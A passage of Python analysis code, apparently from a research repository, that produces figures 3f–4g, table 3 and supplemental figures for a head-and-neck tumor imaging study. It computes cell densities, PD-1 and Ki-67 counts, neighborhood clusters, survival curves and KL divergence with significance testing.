print('\\nFigure 3f')\n\n    #read in density df\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #drop the dtr columns\n    dfFilt = df.iloc[:,1:]\n    \n    #read in mix df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    \n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells/area\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the counts df\n    dfFilt['spatial'] = list(dfMix['spatial'])\n    \n    #separate out mixed and compartmentalized based on spatial column\n    dfMixed = dfFilt[['Mixed' in row for row in dfFilt['spatial']]]\n    dfCompart = dfFilt[['Compartmentalized' in row for row in dfFilt['spatial']]]\n    \n    #put M and C df's in dfList\n    dfList = [dfCompart,dfMixed]\n        \n    #empty list to store two traces for plotting\n    traces = []\n    \n    #loop through the two dfs\n    for i in range(len(dfList)):\n        #get df\n        df = dfList[i]\n    \n        #empty lists to store data for plotting - one per trace\n        xAxis = [] #will store label names\n        yList = [] #will store count values to plot in boxplot\n    \n        for col in df.columns[:-1]: #for each column\n    \n            for row in df.index: #for each row of patients\n                xAxis.append(nameDict[col[0]]) #add the column's real class name to the xAxis label list (each label should repeat itself nine times)\n                yList.append(df.loc[row,col]) #add the column/row's value (aka actual value to plot)\n    \n        #naming of traces\n        if i == 0:\n            spat = 'Compartmentalized'\n        elif i == 1:\n            spat = 'Mixed'\n    \n        #create one trace for C and M for post\n        trace = go.Box(x=xAxis,y=yList,name=spat,boxmean=True,boxpoints='all',marker={'color':colorDict[spat]},line={'color':colorDict[spat]})\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Cell Phenotype'},'yaxis':{'title':'Density (cells/mm^2)'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    \n    pio.write_image(fig,cwd+'/figures/figure3f.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    print(\"Figure 3f saved to 'figures' folder.\")\n   \n    #p-value significance testing\n    print('Calculating p-values...')\n    \n    pDict = {}\n    for col in dfMixed.columns[:-1]:        \n        if col in ['C','J','X,','H']: #for cells whose differences DO NOT follow a normal distribution; use non-parametric independent t-test aka M-W U test\n            #adjust for different alternatives \n            if col == 'H':\n                pOne = mannwhitneyu(dfCompart.loc[:,col],dfMixed.loc[:,col],alternative='less')[1] #alt = compart is LESS than mixed for tumor only\n            else:\n                pOne = mannwhitneyu(dfCompart.loc[:,col],dfMixed.loc[:,col],alternative='greater')[1] #alt = compart is GREATER than mixed for other cell types\n            \n        else: #for cells whose differences DO follow a normal distribution; use parametric independent t-test\n            pTwo = ttest_ind(dfCompart.loc[:,col],dfMixed.loc[:,col],equal_var=False)[1] #returns results from TWO-TAIL independent (parametric) t-test        \n            pOne = pTwo/2 #divide by two to get one tailed p value\n        \n        #add cell type:p values to dict\n        pDict[col] = pOne\n        \n    ##CORRECT FOR MHT    \n    pList = list(pDict.values()) #uncorrected\n    mhtList = fdrcorrection(pList,alpha=0.05)[1] #corrected\n\n    print('\\nMHT corrected p-values:')\n    for i in range(len(pDict.keys())):\n        cell = list(pDict.keys())[i]\n        mhtP = mhtList[i]\n        print(nameDict[cell],': ',mhtP)        \n\n    \n    ##FIGURE 3g - LYMPHOCYTE PD-1 EXPRESSION BY SPATIAL ARCHITECTURE\n    \n    print('\\nFigure 3g') \n       \n    print('Calculating PD-1+ counts for each tumor region...')\n    pdCounts()\n    print(\"PD-1+ counts calculated. Csvs saved to 'dfCreated' folder.\")\n     \n    #read pd counts file\n    df = pd.read_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_all.csv', index_col=0)\n    \n    #read in appropriate mixing score df (either all or avg)\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    \n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells/area\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the target column in the dfCount\n    df['spatial'] = list(dfMix['spatial'])\n    \n    pList = [] #for MHT correction later\n    \n    #separate out mixed and compartmentalized based on spatial column for significance calculation\n    dfMixed = df[['Mixed' in row for row in df['spatial']]]\n    dfCompart = df[['Compartmentalized' in row for row in df['spatial']]]\n\n    #calculate p value for each cell type and account for MHT\n    for cell in ['A_pd1+','B_pd1+','K_pd1+','C_pd1+','D_pd1+','J_pd1+','X_pd1+','E_pd1+','N_pd1+','H_pd1+']:\n\n        #no cells follow normal distr, so use mann whitney U\n        pVal = mannwhitneyu(dfMixed.loc[:,cell],dfCompart.loc[:,cell],alternative='greater')[1] #significant p value means mixed is greater than comaprt    \n        pList.append(pVal)\n    \n    #MHT Correction    \n    mhtList = fdrcorrection(pList,alpha=0.05)[1]\n        \n    #create % Lymphocyte PD-1+ figure  \n    cellList = ['A_pd1+','B_pd1+','C_pd1+']\n    \n    dfList = [dfCompart,dfMixed]\n        \n    #empty list to store two traces for plotting\n    traces = []\n    \n    #loop through the two dfs\n    for i in range(len(dfList)):\n    \n        #get df\n        df = dfList[i]\n    \n        #empty lists to store data for plotting - one per trace\n        xAxis = [] #will store label names\n        yList = [] #will store count values to plot in boxplot\n    \n        for col in cellList: #for each column you want to plot\n    \n            for row in df.index: #for each row of patients\n                xAxis.append(nameDict[col[0]]) #add the column's real class name to the xAxis label list (each label should repeat itself nine times)\n                yList.append(df.loc[row,col]*100) #add the column/row's value (aka actual value to plot)\n    \n        #naming of traces\n        if i == 0:\n            spat = 'Compartmentalized'\n        elif i == 1:\n            spat = 'Mixed'\n    \n        #create one trace for pre and one for post\n        trace = go.Box(x=xAxis,y=yList,name=spat,boxmean=True,boxpoints='all',marker={'color':colorDict[spat]},line={'color':colorDict[spat]})\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Cell Phenotype'},'yaxis':{'title':'% of Cells PD-1+'},'boxmode':'group'}\n    \n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure3g.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 3g saved to 'figures' folder.\")\n    \n    print('\\nMHT corrected p-values:')\n    print('CD8+ T Cell: ',mhtList[0])\n    print('CD4+ T Helper: ',mhtList[1])\n    print('B Cell: ',mhtList[3])\n \n        \n    ##FIGURE 3h - APC KI-67 EXPRESSION BY SPATIAL ARCHITECTURE\n    \n    print('\\nFigure 3h') \n    \n    #calculate KI-67 positive cell counts\n    print('Calculating Ki-67+ cell counts for each tumor region...')\n    kiCounts()\n    print(\"Ki-67+ cell counts calculated. Csvs saved to 'dfCreated' folder.\")\n\n    #read ki-76 counts csv\n    df = pd.read_csv(cwd+'/dfCreated/dfKi67CountsPerc_all.csv', index_col=0)\n    \n    #read in appropriate mixing score df (either all or avg)\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv', index_col=0)\n    dfMix['spatial'] = dfMix['mixScore'].apply(lambda mix:map_mix(mix))\n    \n    #adjust df to also account for cold ROIs - all ROIs\n    coldList = ['pt2post_roi1','pt9post_roi3'] #this is a pre-defined list based on # of immune cells from calculateCold()\n    for roi in coldList:\n            dfMix.loc[roi,'spatial'] = 'Cold'\n    \n    #now add the spatial header into the spatial column to the Kisum df\n    df['spatial'] = list(dfMix['spatial'])\n        \n    #separate out mixed and compartmentalized based on spatial column for significance calculation\n    dfMixed = df[['Mixed' in row for row in df['spatial']]]\n    dfCompart = df[['Compartmentalized' in row for row in df['spatial']]]\n\n    #create figure for APC Ki67+ expression\n    traceM = go.Box(y=dfMixed.loc[:,'X_ki67+']*100,name='Mixed',boxpoints='all',marker={'color':'#FF7F03'},line={'color':'#FF7F03'})\n    traceC = go.Box(y=dfCompart.loc[:,'X_ki67+']*100,name='Compartmentalized',boxpoints='all',marker={'color':'#2CA02C'},line={'color':'#2CA02C'})\n    \n    traces = [traceC,traceM]\n    layout = {'xaxis':{'title':'Spatial Architecture'},'yaxis':{'title':'% of APCs Ki-67+'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    \n    pio.write_image(fig,cwd+'/figures/figure3h.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n    \n    print(\"Figure 3h saved to 'figures' folder.\")\n    \n    #calculate p value for all cell types, then do MHT correction\n    pList = [] #empty list to store uncorrected p values\n    for cell in ['A_ki67+','B_ki67+','K_ki67+','C_ki67+','D_ki67+','J_ki67+','X_ki67+','E_ki67+','N_ki67+','H_ki67+']:\n    \n        if cell in ['A_ki67+','J_ki67+','N_ki67+']: #these cells follow normal distribution, so run parametric test\n            pTwo = ttest_ind(dfMixed.loc[:,cell],dfCompart.loc[:,cell],equal_var=False)[1] #returns results from TWO-TAIL independent (parametric) t-test        \n            pVal = pTwo/2\n        \n        else: #otherwise run non-parametric mann whitney u for cells that do not follow normal distribution\n            pVal = mannwhitneyu(dfMixed.loc[:,cell],dfCompart.loc[:,cell],alternative='less')[1] #significant p value means compart is greater than mixed\n    \n        pList.append(pVal)\n    \n    ##CORRECT FOR MHT    \n    mhtList = fdrcorrection(pList,alpha=0.05)[1] #corrected\n    print('\\nMHT corrected p-value:')\n    print('Antigen Presenting Cell: ',mhtList[6])\n    \n        \n    ##FIGURE 3i - ASMA MESENCHYMAL CELL DENSITY COLORED BY MIXING SCORE\n    \n    print('\\nFigure 3i')\n    \n    #read csv with density - this csv gets created in fig1() function\n    dfCounts = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv', index_col=0)\n    \n    #N = aSMA mesenchymal cells\n    count = dfCounts['N']\n    \n    #sort regions by count in ascending order\n    count = count.sort_values()\n    \n    #get labels of the regions; x axis\n    roiLabels = list(count.index)\n    \n    #get counts to plot; y axis\n    countValues = list(count.values)\n    \n    #read csv with mixing scores\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv',index_col=0)\n    \n    #get just the mix score column\n    mix = dfMix['mixScore']\n    \n    #empty list to store colors according to mixing score\n    colorList = []\n    mixLabel = []\n    \n    #loop through each region and assign color based on its mixing score and immune count (for cold only)\n    for roi in roiLabels:\n    \n        #if not cold\n        if roi != 'pt2post_roi1' and roi != 'pt9post_roi3': #determined by calculateCold() function\n    \n            #compartmentalized (median of averaged primary mixing scores)\n            if mix[roi] < 0.107:\n                colorList.append('#2CA02C')\n                mixLabel.append('Compartmentalized')\n            #mixed\n            else:\n                colorList.append('#FF7F03')\n                mixLabel.append('Mixed')\n        #cold\n        else:\n            colorList.append('#E377C2')\n            mixLabel.append('Cold')\n    \n    #make figure\n    trace = [go.Bar(x=roiLabels,y=countValues,marker={'color':colorList})]\n    \n    #make annotations for mixing labels to appear on plot\n    annotC = dict(x=37.6,y=500,text='Compartmentalized',showarrow=False,font={'color':'#2CA02C'})\n    annotM = dict(x=35.3,y=450,text='Mixed',showarrow=False,font={'color':'#FF7F03'})\n    annotC2 = dict(x=35,y=400,text='Cold',showarrow=False,font={'color':'#E377C2'})\n    annotList = [annotC,annotC2,annotM]\n    \n    layout = {'xaxis':{'title':'Tumor Region','automargin':True},'yaxis':{'title':'⍺SMA+ Mesenchymal Cell Density'},'annotations':annotList}\n    fig = {'data':trace,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure3i.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 3i saved to 'figures' folder.\")\n    \n\n\ndef fig4():\n    \n    '''\n    αSMA+ mesenchymal cellular neighborhood clustering.\n    This function creates figures 4b-4d, 4f-4g. \n    All subplots are saved to the 'figures' folder.\n        \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves csvs to 'dfCreated' folder for files containing cellular neighborhood data used to generate figures.\n        Saves plots to 'figures' folder for figures 4b-4d, 4f-4g \n    '''\n  \n    #import packages    \n    import pandas as pd\n    import os\n    import plotly.io as pio\n    import seaborn as sns\n    import matplotlib.pyplot as plt\n    import numpy as np\n    import plotly.graph_objs as go\n    from lifelines import KaplanMeierFitter\n    from lifelines.statistics import logrank_test\n\n    #get dictionary to rename cells - used for subfigures\n    nameDict = cellClassRename()\n    \n    #get current directory - used to save subfigures\n    cwd = os.getcwd()\n    \n    #predefined color scheme; one distinct color per 11 cell types\n    cellColors = {'A':'rgb(127,60,141)','B':'rgb(17,165,121)','K':'rgb(57,105,172)','C':'rgb(242,183,1)','D':'rgb(231,63,116)','J':'rgb(128,186,90)','X':'rgb(230,131,16)','E':'rgb(0,134,149)','N':'rgb(207,28,144)','F':'rgb(249,123,114)','H':'rgb(165,170,153)'}\n\n    #change numbering of columns from 0-6 to 1-7\n    colDict = {'clust0PercList':'1','clust1PercList':'2','clust2PercList':'3','clust3PercList':'4','clust4PercList':'5','clust5PercList':'6','clust6PercList':'7'}\n\n\n    ##FIGURE 4b - AVERAGE αSMA+ MESENCHYMAL CELL NEIGHBORHOOD CLUSTER COMPOSITION\n\n    print('\\nFigure 4b')\n\n    #make neighborhoods for αSMA+ seed cells (N), distThresh = 30µm = 60px\n    print('Creating αSMA+ cellular neighborhoods...')\n    makeNeighborhoods('N',60)\n    print(\"Neighborhoods created. Csv saved to 'dfCreated' folder.\")\n\n    #optionally run elbowMethod() function to determine optimal number of clusters\n    print('Running Elbow Method to determine optimal number of clusters...')\n    elbowMethod('dfNeighborhoodClusterN60',15) #move forward with k=7 based on these results\n    \n    #cluster αSMA+ cellular neighborhoods based on composition, k=7\n    print('Clustering αSMA+ cellular neighborhoods...')\n    clusterNeighborhoods('dfNeighborhoodClusterN60',7)\n    print(\"Neighborhoods clustered. Csv saved to 'dfCreated' folder.\")\n        \n    #read csv\n    df = pd.read_csv(cwd+'/dfCreated/dfNeighClusteredN60k7.csv', index_col=0)\n    \n    #filter df to not include the index or file columns\n    df = df.drop(['index','file'],axis=1)\n    \n    #groupby cluster column and take the averages of all of the other columns for each group\n    dfCluster = df.groupby(['cluster']).mean()\n    \n    #transpose df so columns are clusters and rows are cell types\n    dfClusterT = dfCluster.T\n    \n    #rename clusters to be 1-6 rather than 0-5\n    dfClusterT = dfClusterT.rename(columns={0:'1',1:'2',2:'3',3:'4',4:'5',5:'6',6:'7'})\n    \n    #re-order the rows of dfClusterT such that immune cells are first, followed by stromal, followed by tumor\n    dfClusterT = dfClusterT.reindex([\"countA%\", \"countB%\", \"countK%\",'countC%','countD%','countJ%','countX%','countE%','countN%','countH%'])\n    \n    #create x axis labels\n    xAxis = list(dfClusterT.columns)    \n    \n    #create one trace per cluster (aka per column in dfClusterT)\n    traces = []\n    for i in range(len(dfClusterT)):\n        #get cell name from A-X label using nameDict\n        cell = nameDict[dfClusterT.index[i][-2]]\n    \n        #create trace and add to traces\n        trace = {'type':'bar','x':xAxis,'y':list(dfClusterT.iloc[i,0:]),'name':cell,'marker':{'color':cellColors[dfClusterT.index[i][-2]]}}\n        traces.append(trace)\n    \n    #plot all clusters along x, and have one bar with all cell types (STACKED)\n    layout = {'xaxis':{'title':'Cluster'},'yaxis':{'title':'Fraction Present'},'barmode':'stack'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure4b.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 4b saved to 'figures' folder.\")\n\n\n    ##FIGURE 4c - HIERARCHICAL CLUSTERING OF ASMA NEIGHBORHOOD CLUSTERS\n\n    print('\\nFigure 4C')\n    \n    #calculate abundance of each cluster in each tumor region, save data to csvs\n    print('Calculating counts of clusters per tumor region...')\n    clusterCountPerROI('dfNeighClusteredN60k7')\n    print(\"Counts calculated. Csvs saved to 'dfCreated' folder.\")\n\n    #load df\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_avg.csv',index_col=0)\n    \n    #filter to just primaries\n    df = df[['pre' in pt for pt in df.index]]\n        \n    #add a new column for one color - patient number (1-9)\n    df['patient'] = df.index.str.slice(2,3)\n    \n    #make color vector dictionary; two in total for two color palettes\n    palette1 = dict(zip(df.patient.unique(),sns.color_palette('tab10',n_colors = 9))) ##9 colors for 9 patients\n    #make groupings\n    grouping1 = df.patient #group off of pt column\n    #map palettes onto the corresponding grouping series; names will be used as labels for color columns\n    ptColors1 = pd.Series(grouping1,name='Patient ID').map(palette1)\n    dfColors = pd.concat([ptColors1], axis=1)\n    \n    #get only the perc columns\n    df = df[[col for col in df.columns if 'Perc' in col]]\n    df = df.rename(mapper=colDict, axis=1)\n    \n    #normalize to log10+1 scale of % out of 100\n    dfLog = np.log10((df*100)+1)\n    \n    #plot the clustermap with the colors\n    graph = sns.clustermap(dfLog,method='ward',metric='euclidean',cmap='vlag',row_colors=dfColors,yticklabels=True) #yticklabels = true to show all patient labels; row_colors should be on the values of ptColors\n    ax = graph.ax_heatmap\n    ax.set_xlabel(\"Cluster\")\n    ax.set_ylabel(\"Patient\")\n    #manually add colors for the two \"groups\" in illustrator\n    bottom,top = ax.get_ylim()\n    ax.set_ylim(bottom+.5,top-.5)\n\n    plt.savefig(cwd+'/figures/figure4c.png',format='png',bbox_inches='tight') #saves figure to 'figures' folder as a png file\n    plt.close()\n    \n    print(\"Figure 4c saved to 'figures' folder.\")\n\n\n    ##FIGURE 4d - AVERAGE ASMA NEIGHBORHOOD CLUSTER COMPOSITION OF TWO GROUPS\n\n    print('\\nFigure 4d')\n\n    #read csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_avg.csv', index_col=0)\n    \n    #filter to primary only\n    df = df[['pre' in pt for pt in df.index]]\n       \n    #filter to just columns with Perc in name\n    df = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    \n    #add group assignment\n    group1 = ['pt1pre','pt3pre','pt6pre','pt8pre'] #based off clustering analysis\n    df['group'] = np.where(df.index.isin(group1), '1','2')\n    \n    #groupby cluster column and take the averages of all of the other columns for each group\n    dfGroup = df.groupby(['group']).mean()\n    dfGroup\n    \n    xAxis = list(dfGroup.index)\n    traces = []\n    \n    for col in list(dfGroup.columns):\n        trace = go.Bar(x=xAxis,y=dfGroup[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'barmode':'stack','xaxis':{'title':'Group'},'yaxis':{'title':'Fraction Present'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure4d.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 4d saved to 'figures' folder.\")\n\n\n    ##FIGURE 4f - ASMA NEIGHBORHOOD GROUP SURVIVAL ANALYSIS\n\n    print('\\nFigure 4f')\n\n    #get clinical df data\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    dfClin.set_index('sample',inplace=True) #set index labels to be the patient column\n    \n    #filter df so only desired tumors are analyzed\n    dfClin = dfClin[['pre' in row for row in dfClin.index]]\n    dfClin.index = dfClin.index.str.slice(2,3)\n    dfClin['dtr'] = pd.to_numeric(dfClin['dtr'],errors='coerce')\n    \n    dfClinAvg = dfClin.groupby(['sample']).mean()\n    \n    #pre-defined groups based off fig 4c\n    dfLow = dfClinAvg[dfClinAvg.index.isin(['1','3','6','8'])] #group1\n    dfHigh = dfClinAvg[dfClinAvg.index.isin(['2','4','5','7','9'])] #group2\n            \n    #fit KM model\n    kmf = KaplanMeierFitter()\n    \n    #create subplot to hold both curves\n    plt.figure() #new figure for each call to this function\n    ax = plt.subplot(111)\n    \n    #dfLow curve\n    kmf.fit(dfLow['dtr'], event_observed=[1]*len(dfLow), label=\"Group 1\")\n    kmf.plot(ax=ax,ci_show=False) #can change to True to see confidence intervals\n    \n    #dfHigh curve\n    kmf.fit(dfHigh['dtr'], event_observed=[1]*len(dfHigh), label=\"Group 2\")\n    kmf.plot(ax=ax,ci_show=False)\n    \n    plt.ylim(0, 1) #set y axis to go from zero to one\n    plt.margins(0) #make (0,0) start in bottom left corner rather than a little bit off\n    \n    #run logrank test for p-value calculation\n    results = logrank_test(dfLow['dtr'],dfHigh['dtr'],[1]*len(dfLow),[1]*len(dfHigh),alpha=0.95)\n    \n    #title and axis labels\n    plt.ylabel('Progression Free Survival (%)')\n    plt.xlabel('Days')\n    plt.text(x=1150,y=0.7,s='p = '+str(round(results.p_value,3)))\n    \n    plt.savefig(cwd+'/figures/figure4f.png',format='png') #saves figure to 'figures' folder as a png file\n    plt.close()\n    print(\"Figure 4f saved to 'figures' folder.\")        \n\n\n    ##FIGURE 4g - PRIMARY TUMOR ASMA NEIGHBORHOOD CLUSTER COMPOSITION\n\n    print('\\nFigure 4g')\n\n    #get df from saved csv\n    df = pd.read_csv(cwd+'/dfCreated/dfClustCountsN60k7_avg.csv', index_col=0)\n    df = df[['pre' in pt for pt in df.index]]\n       \n    #generate column list to cluster on based on if there is a % in the column name\n    dfPerc = df[df.columns[['Perc' in col for col in list(df.columns)]]]\n    dfPerc.index = dfPerc.index.str.slice(2,3)\n    \n    #sort descending cluster 1\n    dfPercSort = dfPerc.sort_values('clust0PercList',ascending=False)\n    \n    xAxis = list(dfPercSort.index)\n    traces = []\n    \n    for col in list(dfPercSort.columns):\n        trace = go.Bar(x=xAxis,y=dfPercSort[col],name=colDict[col])\n        traces.append(trace)\n    \n    layout = {'barmode':'stack','xaxis':{'title':'Primary Tumor'},'yaxis':{'title':'Fraction Present'}}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure4g.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 4g saved to 'figures' folder.\")\n    \n    \n    \ndef table3():\n    \n    '''\n    This function creates table 3, the coefficient of variation across cell types in the cohort.\n    \n    Note: This function assumes densityToCsv() has already been run (this happens in fig1() function).\n    \n    Input parameters:\n        None\n    \n    Outputs:\n        Saves table to 'figures' folder for table 3\n        \n    '''\n    \n    ##TABLE 3 - AVERAGE COEFFICIENT OF VARIATION PER CELL TYPE\n    #import packages    \n    import pandas as pd\n    import os\n\n    print('\\nTable 3')\n    \n    nameDict = cellClassRename()\n    \n    cwd = os.getcwd()\n \n    #get df of densities\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #empty dict to store stats values across all tumors\n    tumCvDict = {}\n    \n    #subset df into smaller dfs per 18 tumors\n    for tum in df.index.str.slice(0,6).unique():\n        \n        dfTumor = df[df.index.str.slice(0,6) == tum].iloc[:,1:] #add iloc to drop dtr column\n    \n        #calculate range for each cell type\n        rng = dfTumor.max() - dfTumor.min()\n        \n        if rng.all() != 0: #drop the 2 tumors (pt2pos,pt6pos) with only one region\n            tumCvDict[tum] = (dfTumor.std())/(dfTumor.mean()) #coefficient of variation = std/mean\n    \n    cvAvgSeries = round(pd.DataFrame(tumCvDict).T.mean(),3)\n    dfCV = pd.DataFrame(cvAvgSeries,columns=['Average Coefficient of Variation']).sort_values('Average Coefficient of Variation',ascending=False)\n    dfCV.index = dfCV.index.str.slice(0,1)\n    dfCV = dfCV.rename(index=nameDict)\n    dfCV.to_csv(cwd+'/figures/table3.csv')\n\n    print(\"Table 3 saved to 'figures' folder.\")\n\n    \n\ndef supp1():\n    \n    '''\n    This function creates supplemental figure 1c.\n    Subplot is saved to the 'figures' folder.\n    \n    Note: This function assumes densityToCsv() has already been run (this happens in fig1() function), as it relies on density csvs to generate figure 1c.\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves plot to 'figures' folder for figure 1c\n    '''\n  \n    import pandas as pd\n    import numpy as np\n    from scipy.stats import entropy,f_oneway\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    import os\n    from statsmodels.stats.multicomp import pairwise_tukeyhsd\n  \n    ##SUPPLEMENTAL FIGURE 1c - KL DIVERGENCE, IMMUNE ONLY\n    \n    print('\\nSupplemental Figure 1c')\n    \n    #get current directory\n    cwd = os.getcwd()\n    \n    #rename xAxis variables to 1P, 1R, etc\n    xDictRename = {'pre':'P','pos':'R'}\n\n    #get df of cell counts - using the perc composition with ALL cells (immune, tumor, aSMA)\n    dfAll = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    dfAvg = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #get average of dfAvg - average values per patient (P+R)/2\n    dfAvgCopy = dfAvg.copy()\n    dfAvgCopy.index = dfAvgCopy.index.str.slice(2,3)\n    dfAvgAvg = dfAvgCopy.groupby(['patient']).mean()\n    \n    #get average of primary only and recurrent only \n    dfPrim = dfAll[['pre' in i for i in dfAll.index]]\n    dfPrimAvg = dfPrim.mean()\n    \n    dfRec = dfAll[['pos' in i for i in dfAll.index]]\n    dfRecAvg = dfRec.mean()\n    \n    #get average of cohort\n    dfCohortAvg = dfAvgAvg.mean()\n    \n    #get clinical df with anatomical location to add a column for site on dfAll\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    \n    dfAllCopy = dfAll.copy()\n    dfAllCopy['anatomy'] = dfClin['anatomy']\n    anatDict = dict(zip(dfAllCopy.index, dfAllCopy.anatomy)) #store roi:anatomy pairs for later use\n    \n    #get average of each anatomy region (OC,OP,L)\n    dfOCAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oral cavity'].mean()\n    dfOPAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oropharynx'].mean()\n    dfLAvg = dfAllCopy[dfAllCopy['anatomy'] == 'larynx'].mean()\n    \n    #empty list to store KL divergence\n    entListA = [] #for intra-tumoral, compares to single tumor's average\n    entListB = [] #for intra-patient, compares to single patient's average (P+R)/2\n    entListC = [] #for inter-patient, compares to all primary, or all recurrent depending on which one the region is from\n    entListD = [] #for inter-patient, compares to cohort average across ALL pts and tumors, regardless of P or R\n    entListY = [] #for intra-site, compares to same anatomic site's average across the cohort\n\n    #create list of rois (patient samples)\n    ptList = list(dfAll.index)\n    \n    #loop through ROIs\n    for pt in ptList:\n        #get row values for A-E counts for each ROI (per the pt variable); immune ONLY!\n        countRoi = dfAll.loc[pt,'A':'E'] \n        \n        #get character(s) to match other df's index column\n        patA = pt[0:6] #same tumor\n        patB = pt[2] #same pt\n        \n        #get row values for A-H counts for each tumor (averaged, use the pat variables)\n        countAvgA = dfAvg.loc[patA,'A':'E']\n        countAvgB = dfAvgAvg.loc[patB,'A':'E']\n        \n        if 'pre' in pt:\n            countAvgC = dfPrimAvg['A':'E']\n            \n        elif 'pos' in pt:\n            countAvgC = dfRecAvg['A':'E']\n    \n        #values for matching anatomic site\n        if anatDict[pt] == 'oral cavity':\n            countAvgY = dfOCAvg['A':'E']\n        elif anatDict[pt] == 'oropharynx':\n            countAvgY = dfOPAvg['A':'E']\n        elif anatDict[pt] == 'larynx':\n            countAvgY = dfLAvg['A':'E']\n    \n        #cohort avg\n        countAvgD = dfCohortAvg['A':'E']\n        \n        #calculate the KL Divergence using the entropy function (log2) for each avg distribution; sample distribution's divergence from the tumor's, patient's, cohort's average (qk) distribution\n        entA = entropy(countRoi,qk=countAvgA,base=2) #intra-tumor\n        entB = entropy(countRoi,qk=countAvgB,base=2) #intra-patient\n        entC = entropy(countRoi,qk=countAvgC,base=2) #inter-patient (p or r)\n        entD = entropy(countRoi,qk=countAvgD,base=2) #inter-patient (all)\n        entY = entropy(countRoi,qk=countAvgY,base=2) #intra-anatomic site\n\n        #store KL divergence in list\n        entListA.append(entA)\n        entListB.append(entB)\n        entListC.append(entC)\n        entListD.append(entD)\n        entListY.append(entY)\n    \n    #create new df with KL divergence info stored in one column\n    dfEnt = pd.DataFrame({'Intra-Tumor (P or R only)':entListA,'Intra-Patient (P and R)':entListB,'Inter-Patient (P or R only)':entListC,'Inter-Patient (Same Anatomic Site)':entListY,'Inter-Patient (all)':entListD},index=ptList)\n    \n    #empty list to store x axis labels\n    xAxis = []\n    #rename xAxis variables to 1P, 1R, etc\n    for x in dfEnt.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    \n    traces = []\n    for col in list(dfEnt.columns):        \n        trace = go.Box(x=xAxis,y=dfEnt[col],boxpoints='all',name=col)\n        traces.append(trace)\n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'KL Divergence'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/supp1c.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Supplemental Figure 1c saved to 'figures' folder.\")\n\n    #run ANOVA to see if means are the same or different; p is significant, so not all group means are equal! \n    anP = f_oneway(entListA,entListB,entListC,entListY,entListD)[1]\n    print('One way ANOVA p-value: ',anP) #one way anova\n\n    #if ANOVA is significant, run Tukey post hoc analysis to determine which pairs are significant\n    if anP < 0.05:        \n        dfTukey = pd.DataFrame({'value':entListA+entListB+entListC+entListY+entListD,'label':np.repeat(list(dfEnt.columns),repeats=len(dfEnt))})\n        tukey = pairwise_tukeyhsd(endog=dfTukey['value'],groups=dfTukey['label'],alpha=0.05)\n        print('Tukey HSD Post-Hoc Test: ',tukey)\n\n\n\ndef supp2():\n    \n    '''\n    This function creates supplemental figures 2a-2e.\n    All subplots are saved to the 'figures' folder.\n    \n    Note: This function assumes calcluateMixing(), pdCounts(), and kiCounts() have already been run (this happens in fig3() function).\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves plots to 'figures' folder for figures 2a-2e\n    '''\n  \n    import pandas as pd\n    import numpy as np\n    from scipy.stats import f_oneway\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    import os\n    from 